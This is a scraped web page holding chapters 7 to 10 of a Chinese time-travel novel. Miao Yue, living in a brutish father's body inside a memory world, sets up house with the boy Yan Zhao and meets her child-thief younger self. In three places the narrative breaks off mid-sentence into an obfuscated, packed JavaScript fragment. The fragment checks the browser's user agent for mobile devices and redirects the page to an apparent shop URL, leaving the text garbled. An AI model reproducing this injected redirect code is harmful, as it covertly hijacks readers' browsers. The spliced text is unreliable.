《攻略枭雄从入门到放弃》 7. 第 7 章 苗悦不知道陈阿大的死期,但既然燕钊已经被卖掉当太监,想来离那一天也不远了。 在此之前,她还得顶着糙汉的皮囊,按照陈阿大的活法过日子。 那赌鬼除了每日溜去西市赌博喝酒,其它时间都窝在家里。 即使再不愿,苗悦也知道自己必须回去住。 可一想到那四壁空空连个像样窗户纸都没有的破屋,她心里就一阵膈应,不好好改造一番根本没法住人。 当初跟着老贼头,虽说偷来的钱都要上缴,衣服也永远是一身黑,可在“吃”和“住”上,老贼头从不糊弄。 哪怕兜里只剩十个铜板,他也会拿出二个买热腾腾的胡饼,八个去住客栈。 幸而此时的长安商业依然活跃,物价相对稳定,从徐四那儿顺来的两块银铤子,分量不轻,足够置办许多东西。 苗悦直奔西市后身的家具巷。这里不如前街喧嚣,空气中有新伐木料的清苦气味。 她没去看那些雕花繁复的硬木家具,只拣了一家专卖寻常物件的铺子。 “掌柜的,要一张现成的松木榻,不用大,够两人躺就成。再配一张方桌,两把条凳。”苗悦指了指堆在墙角的几件样品,都是用最普通的松木打的,榫卯结构,没上漆,露着木头本色,看上去结实耐用。 掌柜家有驴车,方便拉木头,苗悦直接租用,让掌柜把家具都放到驴车上。 她没急着离开,去了布帛行,扯了葛布,选品质稍好的丝绸下脚料做填充,做了一套被褥,厚实又柔软。 即便在这里生活了十六年,苗悦还是不喜欢硬枕,挑了两个防虫的粟壳枕。 店家见她爽快,脸上堆满笑,手脚麻利地将货物清点出来,还帮忙搬到驴车上。 燕钊站在一旁,看着那辆破旧驴车渐渐被新买的家具填满。 这陌生而充满烟火气的一幕,与他过去阴暗压抑的生活,形成巨大反差。 大件采买得差不多了,苗悦又想起一件要紧事。 她停下脚步,问燕钊:“狗娃,你会糊窗户纸吗?” 燕钊“嗯”了一声。 “我就知道。”苗悦笑道,“你三岁就会捡柴生火了。” 她伸手,揉了下他的脑袋,夸道:“我儿子真能干。” 燕钊整个人僵住,对这突如其来的亲昵和夸奖极不适应,脑袋偏了偏,却没完全躲开。 苗悦拉着他朝杂货铺走,声音轻快:“咱家得重新糊窗户,不然晚上冷风飕飕的。” 杂货铺里不仅有各式各样的纸张,还有锅碗瓢盆之类的日常零碎,正好一站备齐。 在店家推荐下,苗悦选了韧性好又透光的桑皮纸。 低头挑选蜡烛时,她被一点莹润的光泽吸引了。 那是一对银耳环,静静地躺在一块深色的绒布上。耳钩纤巧,下面坠着两粒指甲盖大小的海棠花,花瓣薄如蝉翼,层叠舒展,极细的金丝盘出花蕊,当中嵌着米粒般的淡紫琉璃,清雅又别致。 要知道,当贼是很忌讳带饰品的。 现在就不一样了,苗悦欣喜地伸手,拈起那对耳环,对美好事物的本能喜爱,让她忘了自己正顶着一张糙汉的脸。 她几乎是下意识侧过身,对着旁边一块模糊不清的铜镜,将耳环凑近自己的耳垂比划了一下,想看看效果。 铜镜里,赫然映出一张满脸横肉斑疣丛生的粗犷面孔。 一个身材粗壮的村汉,捏着一对俏丽的女式耳环,在耳畔比划,脸上还带了一种近乎“欣赏”的诡异表情…… 苗悦一个激灵,猛地将耳环扔回绒布,再转头,正瞧见燕钊张大了嘴一脸惊诧的模样。 苗悦忙清清嗓子,故意粗声粗气地嫌弃道:“啧,也不知道这些小玩意有什么好的,女人都喜欢,戴起来怪丑的。” 店家听见不乐意了,当即反驳:“这位大哥,您这话可不对!‘海棠迎春’是今年长安城里最时兴的!您看这金丝盘的花蕊,这琉璃的光泽,您要是买回去送给娘子,她保准欢喜!” 燕钊垂眼,别过头去。 苗悦见状,叹道:“我……我就是给娘子看的。可惜我娘子……她已经走了。是我对不住她。” 店家听了,脸上的不满瞬间收敛,露出几分同情之色,道:“……您节哀。” 苗悦胡乱点了点头,神情黯淡,说:“再买副碗筷吧,给孩他娘摆个位。” 将杂货铺的收获放到驴车上,有了桑皮纸,还需一把称手的剪刀。 一踏入铁匠铺,灼人的热浪和铿锵的锤击声扑面而来。 燕钊原本沉寂的眸子,倏然有了亮光。 他不自觉地朝那飞溅的火星靠近了一步,目光紧紧追随铁匠的每一个动作。 苗悦买完剪刀,正想招呼燕钊离开,却见他像被钉住一般,专注地盯着铁砧,那双总是带着警惕与疏离的眼睛里,闪烁着一种她从未见过的,纯粹着迷的光彩。 她心下一动,便也不作声,悄悄站在一旁观察。 燕钊的视线从悬挂着的寒光闪闪的刀剑,落到堆满各式各样工具的角落。 他小心翼翼地摸过几把不同形状的凿子,又掂了掂小锤,最后,拿起了一件造型奇特的物件。 那物件由一根铁杆和一个可活动的拉杆组成,燕钊将它拿在手里反复观看,还模仿起拉动的动作。 苗悦从未见过此物,指着那东西问铁匠:“那是个什么家伙?” 铁匠瞥了一眼,随口答道:“哦,那个啊,是手钻,木匠钻孔用的,小玩意儿。” 苗悦见燕钊对手钻爱不释手,便问,“那个怎么卖?” “那个可贵,要七百文。”铁匠诚实道,“那件嵌了银线,专给大户人家的公子哥儿开蒙,当玩意儿摆弄的,图个精巧好看。咱们自家干活,用不着这么花哨的,不划算。不过寻常手钻店里眼下没有,您过几日再来,五十文钱尽够了。” 铁匠这么说,苗悦倒起了好奇心,凑到燕钊身边,细看那不寻常的手钻。 这是一件铁质的手钻,个头小巧,钻杆和钻帽由精铁锻打而成,接口处严丝合缝,钻杆表面镶嵌着细如发丝的银线,蜿蜒盘绕成繁复的卷草纹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16742139|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 仅这镶嵌银线的手艺,就称得上工艺品了。 若是寻常手钻,苗悦还没什么兴趣,既是这般精巧的工艺品,她心中便有了计较。 她笑着对店家说:“这孩子实在喜欢,等上几日,怕他心思就淡了。就要这件吧,图个眼缘。” 燕钊吓得松开手钻,忙道:“我不要,我随便看的。” 苗悦拍拍他肩,付了钱,将手钻递给燕钊。 燕钊双手接过,捧着僵在半空,指尖微微发颤。 这也太贵重,太不真实了。 苗悦觉得好笑,看来这份礼物确实送到了点子上。 她用胳膊肘碰了碰他:“傻小子,发什么呆呢?仔细收着,别弄丢了。” 燕钊终于相信这真是给自己的,再难掩欣喜之色,低声道了句谢。 苗悦让掌柜将手钻包起来,接着往米粮铺子去。 先称了足量的粟米和麦面,又去肉铺割了几条肥瘦相间的羊肉,一并让店家送到驴车上。 接着,绕过颜色发暗结着硬块的粗盐,指向品相更好的细盐,最后又买了一包颜色白净的白糖。 掌柜一边称重,一边忍不住打量他们。 寻常人家都是买廉价的粗盐或酱菜,白糖更是奢侈。 “这位大哥,买这么金贵的细料,莫非是家里要来贵客?” 苗悦因老贼头对吃食很讲究,习惯性地去购买精细的白糖以及包装干净整齐的细盐,没想那么多。 她含糊地应道:“是啊,孩子好久没吃点儿好的了。” 驴车的木轮吱呀作响,缓缓驶过西市喧闹的街道,行至“瑞丰糕团铺”门前。 苗悦猛地一拍车板,喊道:“停!在这儿停一下!” 铺子橱柜里陈列的并非常见的充饥干粮,而是些造型玲珑的玉露团、晶莹剔透的透花糍,更有做成海棠、荷花模样的酥饼,色泽诱人,精巧得宛如艺术品。 苗悦兴致勃勃指着几样最是可爱的点心,让伙计一一包起来。 燕钊怔怔地看着。他生平第一次知道,吃食竟能做得如此好看,仿佛不该入口,只合供在案头欣赏。 更让他泛嘀咕的是,他爹挑选这些华而不实的点心时,那份熟练自然,与记忆里为了一文钱都能和人争执半天的爹判若两人。 往日他爹出门回来,若能带两个不掺麸皮的胡饼,已是难得的“好日子”。 村中叔伯去趟西市,也无非是换点粗盐、扯几尺厚布,或是添置廉价的农具。 像这般,买雪白的细盐、金贵的白糖,还有中看不中用的精巧点心…… 燕钊不由困惑,莫非旁人家过日子,本就是这般模样?只是自家太穷,从未见识过? 可他又隐隐觉得不对,那种近乎挥霍的做派,那种对精美物件自然而然的欣赏和选择,与他认识的任何一个人都不同。 他年纪尚小,理不清纷繁思绪,只能将满腹疑问压进心底,目不转睛地看着他爹。 苗悦弓起粗壮身躯,伸出布满厚茧的大手,轻柔专注地接过用油纸细绳捆好的点心包。 8. 第 8 章 苗悦没留意到燕钊复杂的心事,她小心地接过点心包,将找回的小块碎银收入袖中,盘算着再添置些什么好。 随着傍晚临近,人流越发稠密,不时有人擦身而过。 苗悦忽觉腰间有微风拂过,这感觉太熟悉了。 做贼时千锤百炼出的本能,几乎不用思考,右手闪电般向下一探,两指一合,牢牢钳住了一只正欲从她袖中缩回的细细软软的小手。 她用的陈阿大身体,力量比苗悦本身大很多,那第三只手的主人被她一钳,发出极细地一声“啊”。 “偷东西偷到你祖师奶□□上来了?”苗悦带着几分戏谑,低头看去,却撞见一张惶恐又倔强的小脸。 手的主人,是个不过六七岁,头发枯黄,身着黑衣的小女娃。 苗悦脸上的坏笑瞬间僵住,大脑一片空白,钳住对方的手也不自觉地松了力道。 在另一时空看到幼年的自己,是种很奇妙的体验。 就在这电光石火的愣神间,小女娃挣脱束缚,扭头扎进熙攘的人潮里,瞬间不见了踪影。 “站住!”燕钊低喝。 他眼见那小贼的手从父亲袖口抽出,又见父亲愣在当场,立刻断定窃贼已得手,没有任何犹豫,径直追了出去。 “狗娃!等等!”苗悦如梦初醒,抱着刚买的点心,顾不上许多,慌忙拨开人群,焦急地跟上去。 那小女娃身形瘦小,却像泥鳅般在人群缝隙里钻得飞快。燕钊死死咬着那抹身影,穿街过巷。 追到一条胡同的尽头,无路可逃。燕钊扑上去,两人顿时滚倒在地。 小女娃的嘴角重重磕在土地上,渗出血丝。她一声不吭,扭头咬住燕钊拦过来的手腕,狠狠一口。 燕钊大叫一声,仍用另一只手摁住她。 苗悦喘着气追进胡同时,就见两个孩子狼狈地扭打成一团。 她看到小女娃嘴角带血,脑中“嗡”的一下,无名火直冲头顶,一个箭步冲上去,薅住燕钊后衣领,将他整个人提离地面,猛地向后甩去。 “你给我起开!” 苗悦忘了,此刻她用的是陈阿大那副力气惊人的身躯,而燕钊只是个十岁的瘦弱孩子,哪经得起这般蛮力。 他后背重重地撞上砖墙,发出一声闷响,颓然滑落在地。 苗悦看也没看他一眼,转身蹲下,小心翼翼地扶起瑟瑟发抖的小女娃,声音是自己都未察觉的轻柔与焦急。 “你……你没事吧?” 那小女娃畏缩地看了她一眼,猛地推开她搀扶的手,又扎进了人流中。 “你别跑啊!” 苗悦下意识追了上去,想喊住她,可那小小的身影几个拐弯便消失在街巷中,不见了踪影。 苗悦停下脚步,没有盲目寻找,而是站在原地,目光扫过那些熟悉的角落。 堆积的破筐,废弃的案台,一挂看似无意垂下的脏污的旧布帘。 她太清楚了,曾经的自己,每一次失手被追,都会藏进这些地方。 她放轻脚步,走到那挂布帘前,没有掀开,而是隔着帘子,尽可能温和地开口。 “我不是来抓你的。” 她顿了顿,没有得到回音。 她低头看着帘子下的影子,不再执着,自言自语般轻声说:“你现在赚的钱都交给老贼头吧,别藏了,对他好一点,你也能少挨手板。阿芦是个好孩子,把他当家人看,不要一直试探他,又累又浪费银子。长安不好呆,等老贼头没了,你就带着阿芦直接去衡州,别走弯路,早点进城,还能省下进城税。” 哪怕是在记忆世界中,她也希望小小的自己能过得更顺心些。 帘子后面传来细微的、压抑的呼吸声,仍然没有回应。 “磕破嘴角了吧?我这儿有点心,送给你。” 苗悦轻声说着,安慰着穿越不久孤独无助的自己。 她小心翼翼地将那包用油纸细绳捆好的、精致得不像话的点心,从帘子下方轻轻推了进去,然后直起身,慢慢退出了小巷。 小苗悦如此鲜活地出现在燕钊记忆里,说明这场童年冲突对燕钊来说绝非小事。 而这段被苗悦遗忘的插曲,也因这次记忆世界的经历,重新浮出水面。 那是苗悦穿越后的第二年,约莫七岁,在老贼头的逼迫下每天必须偷一件东西回来,价值不论。 彼时的她对偷窃仍有心结,总在挑选目标上耗费大量时间,固执地希望能“劫富济贫”,只偷坏人的钱财。 然而,世上哪来那么多明面上的恶人?因她屡屡“心慈手软”,没少挨手板,最终摸索出青楼楚馆偷嫖客的折中路子。 一日,一个四十来岁的闲汉想把自己的儿子卖掉。 穷人不得已把孩子卖进宫的事,也是有的,苗悦本没打算偷他。 但是没过几天,闲汉带着他的儿子来了。 白望人对男孩很满意,多给了闲汉二两银子。 男孩极为聪慧,见父亲收了钱,瞬间明白了自己的命运。 他脸煞白,但没有哭闹喊叫,只是噗通跪下,恳求老太监宽限几日,容他给娘亲过了头七。 三言两语间,已经有十几年生活经验的苗悦听出了端倪,那闲汉不是个好东西,逼死妻子,转头又要卖儿子! 她当即改变了主意,这昧心钱,她偷定了! 她身形小巧,动作轻灵,凑近时那闲汉毫无察觉。可就在她得手欲退的刹那,男孩发现了。 他追了上来,紧紧抓住她。 混乱中,苗悦绊倒在地,牙齿磕破了嘴唇,鲜血直流。 她以为自己破相了,又惊又怒之下,口不择言骂道:“你爹都要把你卖进宫当太监了!你还帮他?你是不是傻!” 这句话刺激了男孩,他眼睛瞬间红了,疯了一样与苗悦扭打起来。 十岁男孩的力气终究大得多,苗悦很快被按在地上。情急之下,她扭头狠狠一口咬在他的胳膊上,用了最大的力,咬出了血。 原来是这样。 直到此刻,苗悦才恍悟,原来在那个时间,两人的血就有了融合,才会让她对离魂香如此敏感。 之后十年颠沛流离,这般小事在她漫长的偷窃生涯里,早已被冲刷得模糊不清,甚至记不起那个男孩的样貌了。 只不过,此事发生的时间地点,与她曾经历的现实似乎有出入。 但苗悦随即想起李晏的告诫。记忆世界中的一切,皆是燕钊主观筛选与重塑后的映像,并非真实历史的精确复刻。 苗悦边想边往回走,远远地瞧见那辆堆满家当的驴车旁,蹲着一个黑黑瘦瘦的人。 燕钊垂着头,两条胳膊耷拉在膝盖上,整个人缩成一团,在夕阳下拉出一道孤零零的影子。 苗悦顿时产生一种强烈的愧疚感。 她方才只顾着那个惊慌失措的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16742140|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己”,完全忘了眼前这个孩子同样受了伤,还被他的“父亲”粗暴地摔了出去。 她忙走过去。燕钊看到她赶紧起身,声音低哑地认错:“爹,我错了。” 苗悦喉头发紧,那句“该道歉的是我”却怎么也说不出口,她的目光落在燕钊受伤的手腕上。 被小苗悦咬出的伤口已经不流血了,细密的牙印深深嵌在皮肉里,暗红色的血痂纠结在皮肤上,周围的皮肉红肿外翻。 她挤出一个笑容,轻轻牵起燕钊没受伤的那只手。 “正好我还在想剩下的钱干嘛使呢,走,买药去,给你包扎一下。” 她用剩下的银子买了伤药、干净的纱布和清水。 在药肆门口的台阶旁,她让燕钊坐下,自己蹲在他面前,用清水一点点擦去周边的污迹。 燕钊始终紧绷着身体,低着头,任由她摆布,只在药粉撒上伤口的瞬间,几不可闻地抽了一口冷气。 苗悦一边给他包纱布,一边用温和的语气说:“爹怕你把那小姑娘打坏了,一时情急没控制好力道。我们是男人,天生力气大,所以不可以对女孩动手。你推她一下,她就摔伤了,可她得花好大的力气,才有机会咬疼你。” 纱布一层层裹上伤口,那刺目的白衬着燕钊黝黑的皮肤。 他忽然抬起头,黑沉沉的眼睛直直看向苗悦。 “那你为什么打我娘?” 苗悦正在系结的手一顿。 动手的是陈阿大,自己无需为此愧疚,只是这问题太过棘手,一时把她噎住了。 各种念头在脑海中飞速闪过,片刻后,苗悦定了定神,挤出一丝略显尴尬的笑容,讪讪道:“你也知道,我这个人,一喝多了就不晓得自己在干什么。” 她吸吸鼻子,表现出痛心疾首的样子。 “你娘跳井那天,我做了个梦,梦见了圣人。”她努力让声音听起来诚恳,“圣人威严,批评我教育我。爹受圣人点化,一下就想明白了。再这么作孽,死了要下油锅的。” 燕钊眉头颤动,眼神挣扎,盯着陈阿大的脸。 “若是圣人真有灵,为何不早些点化爹?偏要等娘亲……跳了井?” 苗悦说:“因为圣人太忙了,管着天下万事,所以才需要……需要你去他身边辅佐啊!” 话音未落,燕钊眼中那一点微弱的光,熄灭了,原本紧绷的肩膀垮了下来,垂下头,不再看苗悦。 苗悦见状,忙不迭伸出两指。 “爹发誓,以后再不喝那些黄汤了,再不伤我儿一丝一毫,若违此誓……” “爹!”燕钊打断他,闷声道,“你别说了……我信你……” 苗悦微讶,问:“真的吗?你这就原谅爹了?” 燕钊点点头。 苗悦意外燕钊这么快就原谅了陈阿大,到底是个孩子,任他平日再怎么阴沉早熟,终究只有十岁。 看来这两天一夜的亲子游很有效。 苗悦弯唇,用陈阿大的力气将儿子举上驴车。 “走,我们回家去。” 晚风渐起,日头西沉,云霞如火般铺开,天地间披上一层温柔的暖色。 西市的喧嚣逐渐远离,燕钊抱着膝盖坐在堆满货物的车板上,手中紧紧攥着用粗布仔细包裹的手钻。 松木家具的香气,驴车颠簸的节奏,手腕上的伤痛,每一个不合常理的举动,铸就这漫长而离奇的一天。 9. 第 9 章 驴车载着苗悦和燕钊,吱吱呀呀地驶入陈家村,锅碗随着颠簸轻轻碰撞,发出细碎的声响。 满车的新家具,在穷困的村落里格外扎眼。 几个蹲在墙根下晒太阳的村民霎时收了声,目光黏在那一车东西上,窸窸窣窣地议论起来,声音不大,却足够清晰。 “哟,太阳打西边出来了?陈阿大弄了这许多铜板,竟没一头扎进赌坊?” “你当他转性了?那是卖儿子的黑心钱!他就这么一个儿子,也真舍得,不怕断子绝孙。” 另一人神秘兮兮地凑过来:“你们不知道吗?狗娃娘以前嫁过人,狗娃就不是陈阿大的种,要不他能舍得?人家亲娘尸骨未寒,他就急着把人往宫里卖。” 那两人恍悟道:“怪不得,狗娃长得跟陈阿大一点也不像。” 闲言碎语像一根针,刺入燕钊耳中。 他原本低垂的眼睫轻轻颤抖,无意识地攥起了拳头。 苗悦将这些议论和燕钊的反应尽收眼底,心里阵阵不爽。 她转过头,恶狠狠地怒瞪那几人。 几人见状,不再多话,都低头转身避开陈阿大的凶光。 苗悦用胳膊轻轻碰了碰燕钊:“别听他们胡说八道,我们过自己的日子,该怎样就怎样,不用管旁人。” 破旧的土屋前,驴车终于卸空。 苗悦凭着陈阿大的一身蛮力,将沉实的松木榻、方桌和厚重的箱笼一一扛进屋内,额上见了汗。 真正的变化,从燕钊动手时方才显现。 他站在屋中央,目光扫过堆放的物件,没着急动手,先用旧陶盆生起一小堆火,架上小锅,倒入面粉和水,熬起了浆糊。 熬浆糊的间空,他拿起需要组装的条凳,瞄准榫卯接口,或轻敲或微旋,几声清脆的“咔哒”后,一条结实的凳子便已成形。 他一边翻转着手中的桌腿榫头,一边用余光留意着火候,时不时用木勺搅动两下,防止粘底。 待到最后一件小矮柜稳稳当当地放到墙角时,锅里的浆糊也咕嘟咕嘟地冒起泡泡,浓稠得恰到好处。 苗悦也没闲着,她将桑皮纸一一裁好,按照位置摆在地上。 糊窗纸的工作自然是燕钊的。蘸浆糊,快速涂抹,将桑皮纸对准位置,从上往下一按,再用干净的软布轻轻抹平,一气呵成。 原本破败漏风的窗户,很快被平整的窗纸覆盖。 苗悦整理着新买的锅碗瓢盆,忍不住连连称赞:“狗娃,你这手艺真是绝了。” 在两人的协作下,破屋很快焕然一新。 松木榻靠墙摆放,铺上了厚实的新褥子。方桌和条凳安置在窗下,上面摆着崭新的瓷碗和木筷。矮柜里叠放着衣物,墙角堆着米粮。 简陋,却整洁有序,充满了生活气息。 苗悦还发现了一个完好的旧陶罐,扔了可惜,于是到外面采了一把不知名的野花,星星点点,插进陶罐中。 她捧着这罐野花,笑着问燕钊:“你看这个摆在哪里好?” 燕钊停下动作,抬起头,目光在屋内转了一圈,最后指着方桌一角靠近窗户的位置。 “放那儿吧。” 苗悦依言将陶罐放好。 余晖透过新纸,柔和地照亮了那一簇生机勃勃的野花。 苗悦有了一种安顿下来的踏实感。 “像个家了。”她满意地看着这一切,拍拍手,“走,做饭去。” 燕钊应了一声,到灶前引火添柴,动作熟练。 然而,当他站起身,看向案板上那一大块新鲜的羊肉时,却愣住了。 整块肉带着骨头,肥瘦相间,分量十足,是他从未接触过的庞然大物。 他攥着刀,犹豫着,不知从何下手。 苗悦走过来,见他束手无策的样子,立刻明白了,这孩子怕是连肉都没正经吃过几回,更别提炖肉了。 她接过刀:“你手腕还有伤呢,我来。这肉啊,得先把骨头剔下来,切成这么大块……” 燕钊在一旁看着,不时递上盛满清水的木盆,又按照吩咐将洗好的野菜切好。 苗悦一边翻炒着锅里的肉块,让油脂的香气弥漫开来,一边不忘描绘她构想的美好未来。 “等将来你出息了,得圣人重用,封个大官,天天都有肉吃。”她笑眯眯地蛊惑着,“还不用自己动手,御厨给做得妥妥帖帖,想吃什么就有什么。” 她取出白糖,放了点在肉中,瞥见认真切菜的燕钊,起了逗弄的心思。 “狗娃,白糖可甜啦,来尝尝。” 燕昭眼神中透露期待,却不敢动作。 苗悦笑着伸出自己的手指,在白糖上轻轻蘸了一下,随后放入口中,用眼神示意燕钊也可以这样做。 燕钊顿了顿,终于缓缓伸出食指,小心翼翼地在糖上蘸了蘸,然后将手指放入口中。 刹那间,甜蜜在舌尖绽放,他眼睛微微睁大,脸上终于露出了属于孩子的天真愉悦的笑容。 苗悦笑着看他,重新盖上锅盖。 “一定要盖着盖子炖肉,尤其这种大块的,时间要久些,至少一个时辰,这样肉才软烂。” 炖得差不多了,苗悦从锅中夹起一小块肉吹了吹,递到燕钊嘴边,“尝尝咸淡。” 燕钊迟疑了一下,听话地张开嘴,鲜美滋味在口中化开。 “好吃吧?”苗悦满意地看着他的反应,“去把碗筷摆上,快好了。” 新买的瓷碗盛着米饭,中间摆着一盆热气腾腾的炖肉,炖肉的香气,与新家的木料味、糊窗纸的浆糊味混杂在一起,奇异地编织出家的暖意。 苗悦拿出多买的那副碗筷,也盛上了满满一碗饭,郑重地在桌子一侧摆好。 她收敛笑意,换上沉痛的神情,对着那副空碗筷,声音低沉地开了口。 “孩子他娘啊……”她重重叹了口气,仿佛有千钧重担压在心头,“我……陈阿大!对不住你啊!我陈阿大混蛋,不是个东西,没让你过上好日子,还……” 她哽咽了一下,抬手用力抹了把脸。 “你走那天,我浑浑噩噩的,多亏了圣人,他骂醒了我!男子汉顶天立地,要精忠报国,为圣人效力,这才是正道。我陈阿大错了,我悔啊!你放心!以后我一定好好待狗娃,再也不赌不喝了!你看看咱们狗娃——” 她拉过燕钊。 燕钊原本低着头,猛然被拽,不由皱眉,紧抿着唇,绷起一张脸。 苗悦对着那碗饭,自顾着说:“他长大了,又懂事,又能干,心里……心里更是亮堂!等狗娃得了圣人重用,立了功,受了封赏,一定求圣人给你请封,让你在下面风风光光的,到那……” 燕钊忍不了了,他抬起头,打断了苗悦的话。 “爹,你别说了。”他看着苗悦,声音清晰而平静,“你放心,我以后……一定会为圣人效力,建功立业,光耀门楣。” 苗悦愣住。 成功了?这才几天?这孩子就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16742141|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被洗脑成功了?她的策略果然有效! 苗悦压住内心的激动,绽放出无比欣慰的笑容,忙又转向那碗饭。 “孩子他娘,你听见了吗?狗娃多有出息!你就等着享儿子的福吧!” 苗悦热情地夹了一大块炖得软烂的肉放到燕钊碗里。 “来,多吃点肉,正长身体呢!” 饭后,桌上杯盘狼藉,油脂在碗壁上凝成白霜。 苗悦要刷碗,燕钊不肯,直说这点伤没什么。 再争下去,陈阿大就太不陈阿大了,想着碗不多,苗悦就随他去了。 燕钊默默地收拾碗筷,抹净桌面。 他很平静,既没有对罕见肉食的留恋,也没有对父亲肺腑之言的感动。 碗筷浸入冷水中,凉意从指尖传来,让他的头脑异常清醒。 不能再等了。 苗悦哼着歌,铺好被褥,将枕头摆放妥当,褥子与床板贴合得恰到好处。 她已成功在十岁燕钊心里种下了忠君爱国的种子。即使燕昭未来的人生与现实走向完全一致,这颗小小的种子也会深深地影响他。 自己应该可以功成身退了,要是离魂香现在燃尽,她还能躲过陈阿大的死局。 不过苗悦知道这不可能,她成为陈阿大不过三天,按上次的经验算,那离魂香怕是火星还没冒呢。 她得在这个记忆世界中生活十七年,直到记忆世界的时间与现实世界同步。 这么一想,陈阿大还得死,否则她要用陈阿大的身体活十七年。 苗悦被自己想象的邋遢老汉模样恶心到,打了个寒颤。 窗外月色渐高,始终不见燕钊回屋。 苗悦嘀咕起来,她翻身下床,趿拉着鞋,推开房门。 夜风微凉,她裹紧单薄的衣衫,隐约听见柴房那边传来动静。 她循声走过去,借着月光,看见燕钊正蜷缩在冰冷的灶台边,身子紧紧靠着那面漏风的土墙,脑袋歪在硬邦邦的灶沿上,像是已经睡着了。 听到脚步声,燕钊猛地惊醒,辨认出苗悦的身影后,惊疑不定地低声唤道:“……爹?” “你怎么睡在这鬼地方?”苗悦带上了火气,这孩子的行为简直是在打她的脸。 她不由分说,抓住燕钊,将人从地上拽起来。 “跟爹回屋去!” 燕钊吃痛,下意识想挣脱,但苗悦的力气实在太大,只好默不作声地跟着她往屋走。 “以后不许睡柴房,就睡这里,知道吗?” 燕钊点点头,默默脱掉外衣,钻进被子里,习惯性地缩向一侧,背对着苗悦,一动不动,肩膀单薄瘦削。 想到他刚刚冰凉的手腕,苗悦又觉得自己是不是太凶了。 她轻声问:“被子盖着舒服吗?” 燕钊说:“舒服。” “被窝里多暖和。”苗悦打了个哈欠,声音带着倦意,“睡吧,有爹在呢,往后都是好日子……” 她的声音渐渐弱下去。 燕钊低低应了声好,在黑暗中睁着眼。 充了棉帛的被子柔软又暖和,还有一种淡淡的香味。 陈阿大陷入沉睡,呼吸变得绵长平稳。 燕钊悄无声息地掀开被子,赤着脚,踩在冰凉的地面上,从柜底摸出那五串红绳绑的铜钱。 他轻轻推开房门,加快脚步,头也不回地朝着村后那座黑黢黢的老屏山跑去,瘦瘦的身影,如一尾义无反顾、潜入深海的鱼。 10.第 10 章 第二日清晨,苗悦从温暖的被窝中醒来,发现燕钊不在。 她穿好衣服走到柴房,透过半开的房门,看到燕钊正就着晨光专注地摆弄着什么。 那柄新买的银线手钻,在他手中发出细微的“嗡嗡”声。 苗悦推门进去,好奇地问:“这一大早的,捣鼓什么呢?” 燕钊动作一顿,下意识地想用手遮住那个物件,但已经来不及了。 他站起来,握着手钻,呐呐地说:“我想试试新手钻。” 他手里有一块钻了孔的木料,脚边还有削下的木屑。 苗悦拿过木料,看样子是柴堆里找的边角料。 木头被刻成了一个弧形,像半开的扇面,又像一片羽毛,边缘粗糙,上面打着两个孔。 苗悦将木头还给燕钊,敷衍地夸了一句“不错”,目光一转,瞥见灶台上的陶锅里正咕嘟咕嘟冒着热气。 “粥都熬好了?”她掀开锅盖,看着熬得恰到好处的粥,心里一阵舒坦,“起这么早,还什么都弄妥当了,辛苦啦。” 燕钊放下手钻:“爹,吃饭吧。” 苗悦咂咂嘴,道:“可惜了,忘了买酱菜。”她看向对面的燕钊,“你会腌酱菜不?” 燕钊顿了顿,随即摇了摇头,声音很轻:“……不会。” “也是,哪能什么都会呢。”苗悦不以为意地摆摆手,“下次去西市,咱们买它一大罐回来!” 话一出口,她心里却嘀咕了一句,陈阿大怕是等不到那天。 接下来的两天,苗悦发现,燕钊总是起得极早。每当她醒来时,柴房里早已传来手钻细微的“嗡嗡”声,以及弥漫在空气中的粥香。 燕钊对新得的手钻爱不释手,所有心思都扑在了那件小玩意上,心无旁骛地打磨、钻孔、雕琢,不吵不闹。 家中一应杂事,诸如生火做饭、打扫擦拭,他也都默默包揽了。 晨起有热粥,入夜有软衾,不必风餐露宿,更无须提心吊胆。 苗悦乐得清闲,越发觉得眼下的日子,与她期盼已久的安稳生活相距不远,除了陈阿大这具躯壳令她不满。 她偶尔会靠在门框上,看着燕钊专注的侧影,那柄小手钻在他指尖灵活转动。 苗悦并不关心那块木头究竟会变成什么模样,只觉得这孩子沉静懂事,还有双巧手,若能看着他平平安安长大,把这天赋用在正事上,将来必定能成个人物,自己也算面上有光。 这念头一闪即逝,她心知自己终究是个过客,父慈子孝的戏码,不过是完成任务的手段。 两天后,当苗悦再见到那块边角料时,它已经彻底变了样。 木料本身的光泽被细心打磨出来,线条流畅,形似一片舒展的燕子尾羽,中部饱满,两端分叉。 在燕尾分叉的凹槽处,严丝合缝地嵌着寸把长的小木棍,用了不同的木料,像是特意放在这里的装饰。 苗悦颇感新奇:“这刻的是……羽毛?好漂亮啊。”她用手指轻轻碰了碰那小木棍,“这小东西嵌得可真巧。” 